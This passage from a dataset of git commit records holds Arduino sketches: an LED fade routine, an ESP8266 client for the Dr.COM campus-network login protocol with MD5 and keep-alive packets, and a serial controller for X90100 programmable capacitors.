delay(100);\n cmode++;\n } else {\n Serial.println(\"Colormode\");\n show_btn_color(cmode);\n }\n \/\/button = 0;\n}\n\nvoid fade_btn(byte del) {\n analogWrite(LED_R, 255-c_r);\n analogWrite(LED_G, 255-c_g);\n analogWrite(LED_B, 255-c_b);\n\n \/\/analogWrite(LED_G, 255);\n \/\/analogWrite(LED_B, 255);\n\n c_r = c_r + fade_r;\n c_g = c_g + fade_g;\n c_b = c_b + fade_b;\n\n if ( c_r <= 0 || c_r >= 200 ) {\n fade_r = -fade_r;\n }\n if ( c_g <= 0 || c_g >= 255 ) {\n fade_g = -fade_g;\n }\n if ( c_b <= 0 || c_b >= 155 ) {\n fade_b = -fade_b;\n }\n\n fade_delay = fade_delay + fdel;\n if (fade_delay <= 1 || fade_delay >=del) {\n fdel = -fdel;\n }\n delay(fade_delay);\n}\n\nvoid show_btn_color( int mode ) {\n switch (mode) {\n case 1:\n fade_btn(10);\n \n break;\n case 2:\n fade_btn(5);\n break; \n case 3:\n analogWrite(LED_R, 0);\n analogWrite(LED_G, 255);\n analogWrite(LED_B, 0);\n \n break;\n case 4:\n analogWrite(LED_R, 0);\n analogWrite(LED_G, 0);\n analogWrite(LED_B, 255);\n \n break;\n case 5:\n analogWrite(LED_R, 0);\n analogWrite(LED_G, 255);\n analogWrite(LED_B, 255);\n \n break;\n case 6:\n analogWrite(LED_R, 255);\n analogWrite(LED_G, 255);\n analogWrite(LED_B, 0);\n \n break;\n case 7:\n fade_btn(1);\n break;\n case 8:\n c_r = 255;\n c_g = 0;\n fade_btn(10);\n break;\n default:\n cmode = 1;\n analogWrite(LED_R, 0);\n analogWrite(LED_G, 0);\n analogWrite(LED_B, 0);\n delay(50);\n analogWrite(LED_R, 200);\n analogWrite(LED_G, 200);\n analogWrite(LED_B, 200);\n delay(50);\n analogWrite(LED_R, 0);\n analogWrite(LED_G, 0);\n analogWrite(LED_B, 0);\n break;\n }\n}\n\nvoid button_push() {\n button = 1;\n \/\/delay(50);\n}\n\nvoid pushlock_change() {\n pushlock = digitalRead(PUSHLOCK_NO);\n}\n\nvoid serial_flush() {\n int buf;\n while (Serial.available() > 0) {\n buf = Serial.read();\n }\n}\n\nint heartbeat() {\n int last_heartbeat;\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n \n serial_flush();\n \n if (incomingByte == 0x42) {\n last_heartbeat = millis()-tracker;\n tracker = millis();\n\n return last_heartbeat;\n } else {\n return -1;\n }\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"d600d3ffa4dba2d556c403c108f83a72526c2e0e","subject":"add c version for esp8266","message":"add c version for esp8266\n","repos":"drcoms\/drcom-generic,drcoms\/drcom-generic","old_file":"c_version\/esp8266\/Udp_server.ino","new_file":"c_version\/esp8266\/Udp_server.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiUdp.h>\n#include <string>\n\n#include <string>\n\nstd::string SALT;\n\nclass MD5\n{\n#define S11 7\n#define S12 12\n#define S13 17\n#define S14 22\n#define S21 5\n#define S22 9\n#define S23 14\n#define S24 20\n#define S31 4\n#define S32 11\n#define S33 16\n#define S34 23\n#define S41 6\n#define S42 10\n#define S43 15\n#define S44 21\n\npublic:\n typedef unsigned int size_type; \/\/ must be 32bit\n\n static std::string checkSum(std::string text)\n {\n MD5 pmd5(text);\n return pmd5.getstring();\n }\n\n MD5() { init(); }\n MD5(const std::string& text) {\n init();\n update((const unsigned char*)text.c_str(), text.length());\n finalize();\n }\n void update(const unsigned char input[], size_type length) {\n \/\/ compute number of bytes mod 64\n size_type index = count[0] \/ 8 % blocksize;\n\n \/\/ Update number of bits\n if ((count[0] += (length << 3)) < (length << 3))\n count[1]++;\n count[1] += (length >> 29);\n\n \/\/ number of bytes we need to fill in buffer\n size_type firstpart = 64 - index;\n\n size_type i;\n\n \/\/ transform as many times as possible.\n if (length >= firstpart)\n {\n \/\/ fill buffer first, transform\n memcpy(&buffer[index], input, firstpart);\n transform(buffer);\n\n \/\/ transform chunks of blocksize (64 bytes)\n for (i = firstpart; i + blocksize <= length; i += blocksize)\n transform(&input[i]);\n\n index = 0;\n }\n else\n i = 0;\n\n \/\/ buffer remaining input\n memcpy(&buffer[index], &input[i], length - i);\n }\n MD5& finalize() {\n static unsigned char padding[64] = {\n 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n };\n\n if (!finalized) {\n \/\/ Save number of bits\n unsigned char bits[8];\n encode(bits, count, 8);\n\n \/\/ pad out to 56 mod 64.\n size_type index = count[0] \/ 8 % 64;\n size_type padLen = (index < 56) ? (56 - index) : (120 - index);\n update(padding, padLen);\n\n \/\/ Append length (before padding)\n update(bits, 8);\n\n \/\/ Store state in digest\n encode(digest, state, 16);\n\n \/\/ Zeroize sensitive information.\n memset(buffer, 0, sizeof buffer);\n memset(count, 0, sizeof count);\n\n finalized = true;\n }\n\n return *this;\n }\n\n unsigned char* getResult() {\n return (unsigned char*)this->digest;\n }\n std::string getstring() {\n return std::string((const char*)this->digest, (size_t)16);\n }\nprivate:\n void init() {\n finalized = false;\n\n count[0] = 0;\n count[1] = 0;\n\n \/\/ load magic initialization constants.\n state[0] = 0x67452301;\n state[1] = 0xefcdab89;\n state[2] = 0x98badcfe;\n state[3] = 0x10325476;\n }\n typedef unsigned char uint1; \/\/ 8bit\n typedef unsigned int uint4; \/\/ 32bit\n enum { blocksize = 64 }; \/\/ VC6 won't eat a const static int here\n\n void transform(const uint1 block[blocksize]) {\n uint4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];\n decode(x, block, blocksize);\n\n \/* Round 1 *\/\n FF(a, b, c, d, x[0], S11, 0xd76aa478); \/* 1 *\/\n FF(d, a, b, c, x[1], S12, 0xe8c7b756); \/* 2 *\/\n FF(c, d, a, b, x[2], S13, 0x242070db); \/* 3 *\/\n FF(b, c, d, a, x[3], S14, 0xc1bdceee); \/* 4 *\/\n FF(a, b, c, d, x[4], S11, 0xf57c0faf); \/* 5 *\/\n FF(d, a, b, c, x[5], S12, 0x4787c62a); \/* 6 *\/\n FF(c, d, a, b, x[6], S13, 0xa8304613); \/* 7 *\/\n FF(b, c, d, a, x[7], S14, 0xfd469501); \/* 8 *\/\n FF(a, b, c, d, x[8], S11, 0x698098d8); \/* 9 *\/\n FF(d, a, b, c, x[9], S12, 0x8b44f7af); \/* 10 *\/\n FF(c, d, a, b, x[10], S13, 0xffff5bb1); \/* 11 *\/\n FF(b, c, d, a, x[11], S14, 0x895cd7be); \/* 12 *\/\n FF(a, b, c, d, x[12], S11, 0x6b901122); \/* 13 *\/\n FF(d, a, b, c, x[13], S12, 0xfd987193); \/* 14 *\/\n FF(c, d, a, b, x[14], S13, 0xa679438e); \/* 15 *\/\n FF(b, c, d, a, x[15], S14, 0x49b40821); \/* 16 *\/\n\n \/* Round 2 *\/\n GG(a, b, c, d, x[1], S21, 0xf61e2562); \/* 17 *\/\n GG(d, a, b, c, x[6], S22, 0xc040b340); \/* 18 *\/\n GG(c, d, a, b, x[11], S23, 0x265e5a51); \/* 19 *\/\n GG(b, c, d, a, x[0], S24, 0xe9b6c7aa); \/* 20 *\/\n GG(a, b, c, d, x[5], S21, 0xd62f105d); \/* 21 *\/\n GG(d, a, b, c, x[10], S22, 0x2441453); \/* 22 *\/\n GG(c, d, a, b, x[15], S23, 0xd8a1e681); \/* 23 *\/\n GG(b, c, d, a, x[4], S24, 0xe7d3fbc8); \/* 24 *\/\n GG(a, b, c, d, x[9], S21, 0x21e1cde6); \/* 25 *\/\n GG(d, a, b, c, x[14], S22, 0xc33707d6); \/* 26 *\/\n GG(c, d, a, b, x[3], S23, 0xf4d50d87); \/* 27 *\/\n GG(b, c, d, a, x[8], S24, 0x455a14ed); \/* 28 *\/\n GG(a, b, c, d, x[13], S21, 0xa9e3e905); \/* 29 *\/\n GG(d, a, b, c, x[2], S22, 0xfcefa3f8); \/* 30 *\/\n GG(c, d, a, b, x[7], S23, 0x676f02d9); \/* 31 *\/\n GG(b, c, d, a, x[12], S24, 0x8d2a4c8a); \/* 32 *\/\n\n \/* Round 3 *\/\n HH(a, b, c, d, x[5], S31, 0xfffa3942); \/* 33 *\/\n HH(d, a, b, c, x[8], S32, 0x8771f681); \/* 34 *\/\n HH(c, d, a, b, x[11], S33, 0x6d9d6122); \/* 35 *\/\n HH(b, c, d, a, x[14], S34, 0xfde5380c); \/* 36 *\/\n HH(a, b, c, d, x[1], S31, 0xa4beea44); \/* 37 *\/\n HH(d, a, b, c, x[4], S32, 0x4bdecfa9); \/* 38 *\/\n HH(c, d, a, b, x[7], S33, 0xf6bb4b60); \/* 39 *\/\n HH(b, c, d, a, x[10], S34, 0xbebfbc70); \/* 40 *\/\n HH(a, b, c, d, x[13], S31, 0x289b7ec6); \/* 41 *\/\n HH(d, a, b, c, x[0], S32, 0xeaa127fa); \/* 42 *\/\n HH(c, d, a, b, x[3], S33, 0xd4ef3085); \/* 43 *\/\n HH(b, c, d, a, x[6], S34, 0x4881d05); \/* 44 *\/\n HH(a, b, c, d, x[9], S31, 0xd9d4d039); \/* 45 *\/\n HH(d, a, b, c, x[12], S32, 0xe6db99e5); \/* 46 *\/\n HH(c, d, a, b, x[15], S33, 0x1fa27cf8); \/* 47 *\/\n HH(b, c, d, a, x[2], S34, 0xc4ac5665); \/* 48 *\/\n\n \/* Round 4 *\/\n II(a, b, c, d, x[0], S41, 0xf4292244); \/* 49 *\/\n II(d, a, b, c, x[7], S42, 0x432aff97); \/* 50 *\/\n II(c, d, a, b, x[14], S43, 0xab9423a7); \/* 51 *\/\n II(b, c, d, a, x[5], S44, 0xfc93a039); \/* 52 *\/\n II(a, b, c, d, x[12], S41, 0x655b59c3); \/* 53 *\/\n II(d, a, b, c, x[3], S42, 0x8f0ccc92); \/* 54 *\/\n II(c, d, a, b, x[10], S43, 0xffeff47d); \/* 55 *\/\n II(b, c, d, a, x[1], S44, 0x85845dd1); \/* 56 *\/\n II(a, b, c, d, x[8], S41, 0x6fa87e4f); \/* 57 *\/\n II(d, a, b, c, x[15], S42, 0xfe2ce6e0); \/* 58 *\/\n II(c, d, a, b, x[6], S43, 0xa3014314); \/* 59 *\/\n II(b, c, d, a, x[13], S44, 0x4e0811a1); \/* 60 *\/\n II(a, b, c, d, x[4], S41, 0xf7537e82); \/* 61 *\/\n II(d, a, b, c, x[11], S42, 0xbd3af235); \/* 62 *\/\n II(c, d, a, b, x[2], S43, 0x2ad7d2bb); \/* 63 *\/\n II(b, c, d, a, x[9], S44, 0xeb86d391); \/* 64 *\/\n\n state[0] += a;\n state[1] += b;\n state[2] += c;\n state[3] += d;\n\n \/\/ Zeroize sensitive information.\n memset(x, 0, sizeof x);\n }\n static void decode(uint4 output[], const uint1 input[], size_type len) {\n for (unsigned int i = 0, j = 0; j < len; i++, j += 4)\n output[i] = ((uint4)input[j]) | (((uint4)input[j + 1]) << 8) |\n (((uint4)input[j + 2]) << 16) | (((uint4)input[j + 3]) << 24);\n }\n static void encode(uint1 output[], const uint4 input[], size_type len) {\n for (size_type i = 0, j = 0; j < len; i++, j += 4) {\n output[j] = input[i] & 0xff;\n output[j + 1] = (input[i] >> 8) & 0xff;\n output[j + 2] = (input[i] >> 16) & 0xff;\n output[j + 3] = (input[i] >> 24) & 0xff;\n }\n }\n\n bool finalized;\n uint1 buffer[blocksize]; \/\/ bytes that didn't fit in last 64 byte chunk\n uint4 count[2]; \/\/ 64bit counter for number of bits (lo, hi)\n uint4 state[4]; \/\/ digest so far\n uint1 digest[16]; \/\/ the result\n\n \/\/ low level logic operations\n static inline uint4 Fl(uint4 x, uint4 y, uint4 z) {\n return x & y | ~x & z;\n }\n static inline uint4 G(uint4 x, uint4 y, uint4 z) {\n return x & z | y & ~z;\n }\n static inline uint4 H(uint4 x, uint4 y, uint4 z) {\n return x ^ y ^ z;\n }\n static inline uint4 I(uint4 x, uint4 y, uint4 z) {\n return y ^ (x | ~z);\n }\n static inline uint4 rotate_left(uint4 x, int n) {\n return (x << n) | (x >> (32 - n));\n }\n static inline void FF(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s, uint4 ac) {\n a = rotate_left(a + Fl(b, c, d) + x + ac, s) + b;\n }\n static inline void GG(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s, uint4 ac) {\n a = rotate_left(a + G(b, c, d) + x + ac, s) + b;\n }\n static inline void HH(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s, uint4 ac) {\n a = rotate_left(a + H(b, c, d) + x + ac, s) + b;\n }\n static inline void II(uint4& a, uint4 b, uint4 c, uint4 d, uint4 x, uint4 s, uint4 ac) {\n a = rotate_left(a + I(b, c, d) + x + ac, s) + b;\n }\n\n};\n\nstd::string hexToString(std::string hexStr)\n{\n char hexTabel[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };\n std::string ret;\n for (auto& e : hexStr)\n {\n ret += hexTabel[((unsigned char)e) \/ 0x10];\n ret += hexTabel[((unsigned char)e) % 0x10];\n }\n return ret;\n}\n\nstd::string stringToHex(std::string hexstring)\n{\n auto getInt = [](char c)\n {\n char hexTabel[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };\n for (int i = 0; i < 16; i++)\n {\n if (c == hexTabel[i])\n return i;\n }\n };\n std::string ret;\n for (int i = 0, a; i < hexstring.size(); i += 2)\n {\n a = getInt(hexstring[i]) << 4;\n a += getInt(hexstring[i + 1]);\n ret.append(1, (unsigned char)a);\n }\n return ret;\n}\n\nint hexToInt(std::string hexstr)\n{\n auto getInt = [](char c)\n {\n char hexTabel[] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };\n for (int i = 0; i < 16; i++)\n {\n if (c == hexTabel[i])\n return i;\n }\n };\n int ret = 0;\n for (int i = 0; i < 4; i++)\n ret += getInt(hexstr[i]) << (28 - (i * 4));\n return ret;\n}\n\nlong long strToLong(std::string hexstr)\n{\n unsigned long long ret = 0;\n int size = hexstr.size() - 1;\n for (int i = 0; i < hexstr.size(); i ++)\n {\n unsigned long long num = (unsigned long long)((unsigned char)hexstr[i]);\n ret += (num) << ((size - i) * 8);\n }\n return ret;\n}\n\nclass UDPSocket\n{\npublic:\n UDPSocket()\n {\n Udp.begin(61440);\n }\n ~UDPSocket()\n {\n }\n\n void SendTo(const std::string& address, unsigned short port, const char* buffer, int len)\n {\n Udp.beginPacket(address.c_str(), port);\n Udp.write(buffer, len);\n Udp.endPacket();\n }\n \n bool RecvFrom(char* buffer, int len, int flags = 0)\n {\n long long frq = 0;\n while (frq < 8342363)\n {\n int packetSize = Udp.parsePacket();\n if(packetSize > 0)\n {\n int n = Udp.read(buffer, len);\n buffer[n] = 0;\n return true;\n }\n frq++;\n }\n return false;\n }\nprivate:\n WiFiUDP Udp;\n};\n\nstruct expand_type {\n template<typename... T>\n expand_type(T&&...) {}\n};\n\ntemplate<typename... ArgTypes>\nvoid log(ArgTypes... args)\n{\n expand_type{ ( Serial.print(args.c_str()), 0)... };\n Serial.printf(\"\\n\");\n}\n\n\nUDPSocket s;\n\nstd::string challenge(std::string svr, int ran)\n{\n while (1)\n {\n std::string ret;\n std::string send;\n\n int randNum = ran % 0xffff;\n send.append(\"\\01\\02\");\n\n send.append(1, (unsigned char)((randNum << 24) >> 24));\n send.append(1, (unsigned char)(randNum >> 8));\n\n send.append(\"\\x09\");\n send.append(15, (char)0x0);\n s.SendTo(svr, 61440, send.c_str(), send.size());\n \n ret.resize(1024);\n s.RecvFrom((char*)ret.c_str(), ret.length());\n log(std::string(\"[challenge] recv \"), hexToString(ret));\n return ret.substr(4, 4);\n }\n return std::string();\n}\n\nstd::string dump(long long n)\n{\n std::string ret;\n bool start = 0;\n for (int i = 0; i < 8; i++)\n {\n char ad = (n << (i * 8)) >> 56;\n if (ad != 0)\n start = 1;\n if (start)\n ret += ad;\n }\n return ret;\n}\n\nstd::string mkpkt(std::string salt, std::string usr, std::string pwd, long long mac)\n{\n\n std::string data = \"\\x03\\x01\";\n data.append(1, (char)0x0);\n data += (char)(usr.size() + 20);\n\n data.append(MD5::checkSum(std::string(\"\\3\\1\") + salt + pwd));\n data.append(usr);\n data.append(36 - usr.size(), (char)0x0);\n data.append(\"\\x20\");\/\/ CONTROLCHECKSTATUS\n data.append(\"\\1\");\/\/ adpter num\n\n std::string dumpstr = dump(strToLong(data.substr(4, 6)) ^ mac);\n data += dumpstr.substr(dumpstr.size() - 6);\n\n std::string checkStr = std::string(\"\\x01\") + pwd + salt;\n checkStr.append(4, (char)0x0);\n data += MD5::checkSum(checkStr);\n\n data += \"\\x01\";\n data += \"\\xa\\x1e\\x16\\x11\"; \/\/ host_ip\n \n data.append(12, (char)0x0);\n\n checkStr = data + std::string(\"\\x14\");\n checkStr.append(1, (char)0x0);\n checkStr += \"\\x07\\x0B\";\n data += MD5::checkSum(checkStr).substr(0, 8);\n\n data += \"\\x01\"; \/\/IPDOG\n data.append(4, (char)0x0);\n\n std::string host_name = \"LIYUANYUAN\";\n data.append(host_name);\n data.append(32 - host_name.size(), 0x0);\n data.append(4, (char)114);\/\/ dns\n data.append(4, (char)0);\/\/ _tagHostInfo.DHCPServerIP\n data.append(12, (char)0);\n data += \"\\x94\";\n data.append(3, (char)0);\n data += \"\\x05\"; \/\/ _tagHostInfo.OSVersion.MajorVersion\n data.append(3, (char)0);\n data += \"\\x01\"; \/\/ _tagHostInfo.OSVersion.MinorVersion\n data.append(3, (char)0);\n data += \"\\x28\\x0A\"; \/\/ _tagHostInfo.OSVersion.BuildNumber\n data.append(2, (char)0);\n data += \"\\x02\"; \/\/ _tagHostInfo.OSVersion.PlatformID\n data.append(3, (char)0);\n\n std::string host_os = \"8089DA\";\n data.append(host_os);\n data.append(32 - host_os.size(), 0x0);\n data.append(96, (char)0);\n\n data += \"\\x0a\"; \/\/ AUTH_VERSION\n data.append(1, (char)0);\n\n \/\/data += ror(MD5::checkSum(std::string(\"\\x03\\x01\") + salt + pwd), pwd);\n \n auto checksum = [](std::string st) -> std::string\n {\n int ret = 1234;\n int i = 0;\n st.append(4, (char)0);\n for (; i < st.length() - 4; i += 4)\n {\n std::string bf = st.substr(i, 4);\n int num = (int)((unsigned char)bf[3] << 24);\n num += (int)(((unsigned char)bf[2]) << 16 );\n num += (int)(((unsigned char)bf[1]) << 8);\n num += (int)(((unsigned char)bf[0]));\n ret ^= num;\n }\n ret = (1968 * ret) & 0xffffffff;\n std::string r;\n r += ((unsigned char)ret) >> 24;\n r += (((unsigned char)ret) << 24) >> 24;\n r += (((unsigned char)ret) << 16) >> 24;\n r += (((unsigned char)ret) << 8) >> 24;\n return r;\n };\n data += \"\\x02\";\n data += \"\\x0c\";\n\n std::string sumStr;\n sumStr = data + std::string(\"\\x01\\x26\\x07\\x11\");\n sumStr.append(2, (char)0x0);\n sumStr += dump(mac);\n data += checksum(sumStr);\n\n data.append(2, (char)0);\n data += dump(mac);\n data.append(2, (char)0);\n\n data += \"\\xE9\\x13\";\n return data;\n}\n\nstd::string DRlogin(std::string username, std::string password, std::string server)\n{\n std::string ret;\n ret.resize(1024);\n for (int i = 0; i < 5; i++)\n {\n \/\/SALT = challenge(server, GetSystemTimeAsUnixTime() + ((rand() % 0xf0) + 0xf));\n SALT = challenge(server, (rand() % 0xffff));\n\n std::string packet = mkpkt(SALT, username, password, 0x54e1ad1af086);\n log(std::string(\"[login] send \"), hexToString(packet));\n s.SendTo(server, 61440, packet.c_str(), packet.size());\n s.RecvFrom((char*)ret.c_str(), ret.length());\n log(std::string(\"[login] recv \"), hexToString(ret));\n log(std::string(\"[login] packet sent.\"));\n if (ret[0] == *\"\\x04\")\n {\n log(std::string(\"[login] loged in\"));\n break;\n }\n else\n delay(2000);\n }\n return ret.substr(23, 16);\n}\n\nstd::string keep_alive_package_builder(int number, std::string tail, int type = 1, bool first = false)\n{\n std::string data = \"\\x07\";\n data.append(1, (char)number);\n data += \"\\x28\";\n data.append(1, (char)0x0);\n data += \"\\x0B\";\n data.append(1, (char)type);\n\n if (first)\n data += \"\\x0F\\x27\";\n else\n data += \"\\xdc\\x02\"; \/\/ KEEP_ALIVE_VERSION\n data += \"\\x2F\\x12\";\n data.append(6, (char)0x0);\n data += tail;\n data.append(4, (char)0x0);\n if (type == 3)\n {\n data.append(4, (char)0x0);\n data += \"\\x10\\x30\\x22\\x17\";\n data.append(8, (char)0x0);\n }\n else\n data.append(16, (char)0x0);\n return data;\n}\n\nbool keep_alive1(std::string salt, std::string tail, std::string pwd, std::string svr) \n{\n std::string data = \"\\xff\" + MD5::checkSum(\"\\x03\\x01\" + salt + pwd);\n data.append(3, (char)0x0);\n data += tail;\n unsigned int randNum = (rand()) % 0xffff;\n\n data.append(1, (char)((randNum) >> 8));\n data.append(1, (char)(((randNum) << 24) >> 24));\n \n\n data.append(4, (char)0x0);\n\n log(std::string(\"[keep_alive1] send \"), hexToString(data));\n\n s.SendTo(svr, 61440, data.data(), data.size());\n\n while (1)\n {\n std::string ret;\n ret.resize(1024);\n if (!s.RecvFrom((char*)ret.c_str(), ret.length()))\n return false;\n if (ret[0] == *\"\\x07\")\n {\n log(std::string(\"[keep_alive1] recv \"), hexToString(ret));\n break;\n }\n }\n \n}\n\nvoid keep_alive2(std::string salt, std::string tail, std::string pwd, std::string svr)\n{\n auto compareStr = [](const char* str1, const char* str2, int size) -> bool\n {\n for (int i = 0; i < size; i++)\n {\n if (str1[i] != str2[i])\n return false;\n }\n return true;\n };\n std::string ttail;\n ttail.append(4, (char)0x0);\n\n std::string otail = tail;\n\n std::string data;\n data.resize(1024);\n\n int svr_num = 0;\n std::string packet = keep_alive_package_builder(svr_num, ttail, 1, true);\n\n while (1)\n {\n log(std::string(\"[keep-alive2] send1 \"), hexToString(packet));\n s.SendTo(svr, 61440, packet.data(), packet.size());\n\n \n s.RecvFrom((char*)data.c_str(), data.length());\n log(std::string(\"[keep-alive2] recv1 \"), hexToString(data));\n\n if (compareStr(data.c_str(), \"\\x07\\x00\\x28\\x00\", 4))\n {\n std::string cstr = \"\\x07\";\n for (int i = 0; i < svr_num; i++)\n cstr.append(1, (char)0x0);\n cstr += \"\\x28\";\n cstr.append(1, (char)0x0);\n if (compareStr(data.c_str(), cstr.c_str(), svr_num + 3))\n break;\n }\n else if (data[0] == 0x7 && data[2] == 0x10)\n {\n log(std::string(\"[keep-alive2] recv file, resending..\"));\n svr_num = svr_num + 1;\n break;\n }\n else\n {\n log(std::string(\"[keep-alive2] recv1\/unexpected\"), hexToString(data));\n }\n }\n\n packet = keep_alive_package_builder(svr_num, ttail, 1, false);\n log(std::string(\"[keep-alive2] send2\"), hexToString(packet));\n s.SendTo(svr, 61440, packet.data(), packet.size());\n while (1)\n {\n s.RecvFrom((char*)data.c_str(), data.length());\n if (data[0] == 0x7)\n {\n svr_num = svr_num + 1;\n tail = data.substr(16, 4);\n log(std::string(\"[keep-alive2] recv2\"), hexToString(data));\n break;\n }\n else\n log(std::string(\"[keep-alive2] recv2\/unexpected\"), hexToString(data));\n }\n\n packet = keep_alive_package_builder(svr_num, tail, 3, false);\n s.SendTo(svr, 61440, packet.data(), packet.size());\n while (1)\n {\n s.RecvFrom((char*)data.c_str(), data.length());\n if (data[0] == 0x7)\n {\n svr_num = svr_num + 1;\n tail = data.substr(16, 4);\n log(std::string(\"[keep-alive2] recv3\"), hexToString(data));\n log(std::string(\"[keep-alive2] keep-alive2 loop was in daemon.\"));\n break;\n }\n }\n while (1)\n {\n \n delay(20000);\n if (!keep_alive1(salt, otail, pwd, svr))\n return;\n packet = keep_alive_package_builder(svr_num, tail, 1, false);\n log(std::string(\"[keep_alive2] send \"), hexToString(packet));\n s.SendTo(svr, 61440, packet.data(), packet.size());\n \n s.RecvFrom((char*)data.c_str(), data.length());\n log(std::string(\"[keep_alive2] recv \"), hexToString(data));\n\n tail = data.substr(16, 4);\n\n packet = keep_alive_package_builder(svr_num + 1, tail, 3, false);\n s.SendTo(svr, 61440, packet.data(), packet.size());\n log(std::string(\"[keep_alive2] send \"), hexToString(packet));\n\n s.RecvFrom((char*)data.c_str(), data.length());\n tail = data.substr(16, 4);\n log(std::string(\"[keep_alive2] recv \"), hexToString(data));\n\n if (tail == \"\")\n return;\n svr_num = (svr_num + 2) % 127;\n \n \n }\n\n\n}\n\n char server[] = \"192.168.211.3\";\n char username[] = \"\u8d26\u53f7\"; \/\/ \u8fd9\u91cc\u767b\u5f55\u8d26\u53f7\n char password[] = \"\u5bc6\u7801\"; \/\/ \u8fd9\u91cc\u767b\u5f55\u5bc6\u7801\n \nvoid setup() {\n Serial.begin(115200);\n \n Serial.print(\"start connect\");\n WiFi.mode(WIFI_STA);\n WiFi.begin(\" \u8d26\u53f7 \", \" \u5bc6\u7801 \"); \/\/ \u8fd9\u91ccwifi\u8d26\u53f7\u5bc6\u7801\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print('.');\n delay(500);\n }\n Serial.print(\"Connected! IP address: \");\n Serial.println(WiFi.localIP());\n Serial.printf(\"UDP server on port %d\\n\", 8880);\n\n\n log(std::string(\"auth svr: \"), std::string(server), std::string(\"\\nusername: \"), std::string(username), std::string(\"\\npassword: \"), std::string(password), std::string(\"\\nmac: \"));\n log(std::string(\"bind ip: \"), std::string(\"0.0.0.0\"));\n}\n\n\nvoid loop() {\n\n std::string package_tail = DRlogin(username, password, server);\n if(keep_alive1(SALT, package_tail, password, server))\n keep_alive2(SALT, package_tail, password, server);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'c_version\/esp8266\/Udp_server.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"731d2b4512694f9a997edc5682235cbfc3fe3b44","subject":"Modified header","message":"Modified header","repos":"anidea\/fx300_sequence_detect,anidea\/fx300_sequence_detect","old_file":"fx300_sequence_detect.ino","new_file":"fx300_sequence_detect.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/anidea\/fx300_sequence_detect.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6ed2aed340773ac17f185d2da283e9a7db5065eb","subject":"Add the Arduino source for controlling X90100 programmable capacitor","message":"Add the Arduino source for controlling X90100 programmable capacitor\n","repos":"lijunxyz\/instruments","old_file":"files\/Arduino\/apr19_x90100_trim_cap\/apr19_usb_comm.ino","new_file":"files\/Arduino\/apr19_x90100_trim_cap\/apr19_usb_comm.ino","new_contents":"\/\/ This program can the capacitance values of two programmable capacitors (Intersil X90100) via USB serial communication\n\/\/ Syntax: Axx will change the value Capacitor A, Bxx will change the value of Capacitor B, where xx is a number between 0 and 31\n\n\/\/ Reference: http:\/\/arduinobasics.blogspot.com\/2012\/07\/arduino-basics-simple-arduino-serial.html\nString inString; \n\/\/ Buffer to store incoming commands from serial port; \n\/\/ String method can be found at http:\/\/arduino.cc\/en\/Reference\/StringObject\n\nint UD = 8;\nint INC = 9; \nint CS0 = 10;\nint CS1 = 11; \n\nvoid setup() {\n pinMode(UD, OUTPUT);\n pinMode(INC, OUTPUT);\n pinMode(CS0, OUTPUT);\n pinMode(CS1, OUTPUT);\n digitalWrite(CS0, HIGH);\n digitalWrite(CS1, HIGH);\n digitalWrite(INC, HIGH); \/\/ INC is negative-edge triggered\n digitalWrite(UD, HIGH);\n Serial.begin(9600);\n Serial.println(\"Waiting for instructions...\");\n}\n\nvoid outputIncPulse(int nCount) {\n \/\/ INC always starts with HIGH and ends with HIGH\n int ii; \n int pulseHalfCycle = 2; \/\/ unit: ms\n digitalWrite(INC, HIGH);\n for(ii=0; ii<nCount; ii++) {\n digitalWrite(INC, LOW); \/\/ Trigger an increment\/decrement\n delay(pulseHalfCycle);\n digitalWrite(INC, HIGH);\n delay(pulseHalfCycle);\n }\n Serial.print(\"Output pulse count of \"); Serial.println(nCount); \/\/ for debugging purpose\n}\n\nvoid setCap(int nCount, int whichCap) {\n if (whichCap == 0)\n digitalWrite(CS0, LOW); \n else if (whichCap == 1)\n digitalWrite(CS1, LOW); \/\/ Start writing cycle\n delay(2);\n digitalWrite(UD, LOW); delay(2); outputIncPulse(34); \/\/ reset to 0\n digitalWrite(UD, HIGH); delay(2); outputIncPulse(nCount); \n delay(2);\n if (whichCap == 0)\n digitalWrite(CS0, HIGH); \/\/ end writin cycle\n else if (whichCap == 1)\n digitalWrite(CS1, HIGH); \n delay(10); \/\/ storage the write when CS is high and INC is high\n}\nvoid loop() {\n int nCount;\n while (Serial.available() > 0)\n {\n char received = Serial.read();\n inString += received; \n\n \/\/ Process message when new line character is recieved\n if (received == '\\n')\n {\n Serial.print(\"Arduino Received: \");\n Serial.print(inString);\n nCount = inString.substring(1).toInt();\n Serial.print(\"Capacitance count = \"); Serial.println(nCount);\n \n if (inString.startsWith(\"A\", 0) || inString.startsWith(\"a\", 0) ){\n Serial.println(\"Setting Capacitor A\");\n setCap(nCount, 0);\n }\n else if (inString.startsWith(\"B\", 0) || inString.startsWith(\"b\", 0) ){\n Serial.println(\"Setting Capacitor B\");\n setCap(nCount, 1);\n }\n else\n Serial.println(\"Unrecognized command\");\n \n inString = \"\"; \/\/ Clear received buffer\n }\n 